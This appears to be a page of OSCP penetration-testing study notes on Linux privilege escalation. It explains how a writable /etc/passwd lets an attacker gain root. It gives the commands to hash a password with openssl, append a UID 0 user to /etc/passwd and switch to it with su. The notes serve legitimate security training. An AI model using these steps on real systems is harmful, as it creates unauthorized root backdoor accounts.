> For the complete documentation index, see [llms.txt](https://dudisamarel.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dudisamarel.gitbook.io/oscp-notes/linux/local-privileges-escalation/password-authentication.md).

# Password Authentication

The `/etc/passwd` file can contain password hashes directly instead of an `x`, indicating that the password hash is stored in `/etc/shadow`. If `/etc/passwd` is writable, it allows the creation of arbitrary users with root privileges.

1. generate a hash using **`openssl`**

```bash
openssl passwd <password>
```

2. Edit the `/etc/passwd` file

```bash
echo "<new_username>:<hash>:0:0:root:/root:/bin/bash" >> /etc/passwd
```

3. Login to the newly created user with root previliges

```bash
su <new_username>
```

## References

{% embed url="<https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/>" %}
Raj Chandel’s Blog
{% endembed %}